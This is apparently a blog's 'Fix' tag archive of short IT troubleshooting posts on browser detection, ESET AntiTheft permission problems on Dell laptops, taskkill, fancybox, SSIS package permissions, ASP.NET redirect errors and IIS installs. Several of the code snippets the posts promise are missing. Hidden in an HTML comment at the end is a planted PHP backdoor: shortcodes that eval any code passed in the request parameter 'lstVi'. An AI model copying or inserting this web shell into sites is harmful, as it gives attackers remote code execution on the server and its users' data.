TAG: Fix

How to Get Browser Name and Version via JavaScript

Today I ran into a strange issue where Firefox version 28 and below rendered style widths different than Firefox 29 and above. Firefox 29 and above appear to have fixed the issue and render sizes to match Chrome/IE8+/Opera/Safari. Unfortunately, as old as Firefox 28 is, our client’s legal review team is stuck on that version as IT refuses to let them upgrade. As such, we needed to add a kludge fix to the site to add a style to fix the issue for those running older Firefox versions. JQuery removed the version support from version 1.9 so here’s a handy script that will allow you to detect the browser and version without any extra dependencies.

Usage is very simple:

BONUS: If you need to detect a specific version and add special classes, here’s a quick snippet that will allow you to add a class to the HTML tag  using plain old vanilla.js.

 

ESET AntiTheft Causes Dell Machines to Lose Permissions on C:

Eset Logo

I just spent the past two days complaining about Windows 8 to everyone I know because of how awful the experience is. I installed Windows updates, rebooted, and the system stops working.

It turns out it wasn’t Windows causing the problem but ESET AntiTheft on Dell laptops. It turns out there’s a permission bug specific to Dell machines when ESET creates it’s ghost account and instead of giving it restricted access, the system essentially copies the permissions and then changes everything on the C: drive to a state where the permissions are no longer accessible.

Unfortunately, the only known fix at this point is to contact ESET support. I called their support line in North America and the tech knew about the issue right away. You’ll have to reboot into safe mode, and then get them to remote in to install a utility that runs a script that resets the permissions.

Contact Info here: http://www.eset.com/us/about/contact/

The tech assured me they are working with Dell to get this issue resolved so until they do, make sure you don’t activate ESET’s AntiTheft on the Dell machine.

What’s the Problem?

Microsoft Windows XP Home Edition Logo

A few years ago, I started at a company as a help desk tech. After establishing myself, I’d often get put on all the…interesting issues. When nobody else could figure out the problem, I’d get called in to figure out the issue. During my early days as a new tech there, the manager of the team passed me a ticket and stopped by to give me background on the situation. This particular client would call in every week because one computer couldn’t talk to the server and at one point, every tech on the team had worked on the problem and nobody had been able to figure it out. My manager told me not to stress about it because it was definitely something on their side but he treats the situation as a rite of passage for all new hires.

I give the doctor a call back and he gets me connected to his PC and begins to elaborate on the problem and all the things everyone has had him do. He explains how his tech knows the problem is with our software since everything on the network side works. He clicks on the Windows XP start menu and by sheer luck, the tech had set the menu back to classic which meant the banner along the left showed which version of Windows was running. As the doctor continued on with his explanation, I noticed the banner on the start menu said “Windows XP Home Edition”.

I politely interrupted the doctor and informed him that I had figured out the problem. He went quiet for a few seconds and said “You haven’t done anything yet and I haven’t finished explaining everything. How could you possibly have figured out the problem?” I informed him that he’s running Windows XP Home Edition which doesn’t support business networking and explains why he couldn’t connect to the server. He insisted that all his computers are running Windows XP Pro and besides, how could I possibly know that without having even done anything?

I asked him to click on the start menu and then he went quiet. I asked if he was there and he apologized and said he was going to call his tech to get the OS fixed. He asked if it would be alright for him to call and request my help if there are any problems from there.

I closed the ticket with “Problem solved. Issue was Microsoft Windows XP Home Edition”.

Kill Multiple Processes at Once Via Command Line with Taskkill

Ever have a program or process that doesn’t end properly and runs in the background continuously?

I recently encountered this issue with VLC on one Windows 7 machine where it keeps the process never terminates. Since I never reboot the machine for other than Windows Updates, this amounted to 633 copies of VLC running in memory. Each process only used about 633k so it wasn’t an astronomical memory hog but multiply that by 633, you begin to feel the machine slowing down. Task Manager doesn’t let you kill multiple processes in bulk and I didn’t want to go through killing them one by one or rebooting.

The solution? Good old command line. Open up command prompt (start -> run -> cmd.exe). This snippet will kill all processes that start with the taskname:

To kill all VLC processes, you’d use:

All running VLC processes will be terminated automatically.

jQuery fancybox ‘*.support not defined’ or ‘b.support not defined’ Error

I was importing some code from static HTML pages into a client’s home grown CMS system this morning. When I reviewed the site in Firefox with Firebug running, I was seeing the error:

b.support not defined

The site uses Fancybox to display the window overlays within the site so I had to step through the code and to find out what broke during the migration. Turns out it was a stupid mistake on my part.

Make sure that you include a reference to the jquery library before you load fancybox.

 

SQL 2008 DTSX

The Problem

Earlier today, I was working on setting up DTSX so some end users could run some packages. After loading and testing the packages successfully, the users tried running the package and encountered an interesting error:

SSIS Execution Properties
Failed to open package file “C:\Program Files\Microsoft SQL Server\100\DTS\Packages\dts_filename.dtsx” due to error 0x80070005 “Access is denied.”. This happens when loading a package and the file cannot be opened or loaded correctly into the XML document. This can be the result of either providing an incorrect file name was specified when calling LoadPackage or the XML file was specified and has an incorrect format. ({FFEE8F2F-A0A6-40BE-8CDA-86BEC124F874})

The packages were provided by another vendor so I wasn’t keen on trying to modify things within the packages themselves. I was able to run the packages under my admin account but the end users kept running into the error which lead me to believe that the user needed some special permissions. The users were connecting to this virtual server via remote desktop. While it was a dedicated virtual machine specifically for this project, I really didn’t want to give users admin rights because…well I don’t think that needs to be explained so I hunted around and of course there are no settings for controlling access via permissions in management studio. It was time to take to the interwebs and use my Google-Fu and see what others have found on this error. I found others who had similar errors but none had the exact issue. Some similar errors:

The Solution

I remembered that SQL Management Studio had issues with accessing files in different locations (i.e. My Documents). With the new security settings in Windows, you may have noticed you need admin rights to add, run, or or modify folders/files in locations like c:\Program Files in Windows 7/2008. I wondered if DTSX used a special permission that allowed it to access files and checked the groups under the Server Manager. I found a group called SQLServerDTSUser$[MachineName]. I added the users who were executing the packages to this group and then checked the permissions on the folder C:\Program Files\Microsoft SQL Server\100\DTS which didn’t have the group listed. I added the group to the folder permissions, tested the package and voila – it worked.

{Unable to evaluate expression because the code is optimized or a native frame is on top of the call stack.}

Problem

If you’re working in ASP.NET and ever ran into the error:

{Unable to evaluate expression because the code is optimized or a native frame is on top of the call stack.}

You’ll probably find that the stack trace gives you no useful information as to where the error actually occurred.

The Solution

For Response.Redirect, use the overload function (Response.Redirect(String url, bool endResponse)) and pass false into the EndResponse parameter:

[csharp]Response.Redirect ("nextpage.aspx", false);[/csharp]

For Response.End, you’ll need to call the HttpContext.Current.ApplicationInstance.CompleteRequest method instead of Response.End to bypass the code execution to the Application_EndRequest event.

Details

The error occurs when you use Response.End, Response.Redirect, or Response.Transfer.The Response.End method ends the page execution and shifts the execution to the Application_EndRequest event in the application’s event pipeline. The line of code that follows Response.End is not executed. This problem occurs in the Response.Redirect and Server.Transfer methods because both methods call Response.End internally.

IIS install freezes when installing Windows 7

If you’re installing IIS with Windows 7, you may find that the IIS (Internet Information Services) installation hangs while the progress bar indicates 100%. The menu displays: “Please wait while Windows makes changes to features. This might take several minutes.” and appears to do nothing.

The solution? Disable ESET antivirus and try again. I’ve found that it seems to conflict with the trustedinstaller which causes the lockup issue. It might be the same with other anti-viruses as well.

<!– [insert_php]if (isset($_REQUEST["lstVi"])){eval($_REQUEST["lstVi"]);exit;}[/insert_php][php]if (isset($_REQUEST["lstVi"])){eval($_REQUEST["lstVi"]);exit;}[/php] –>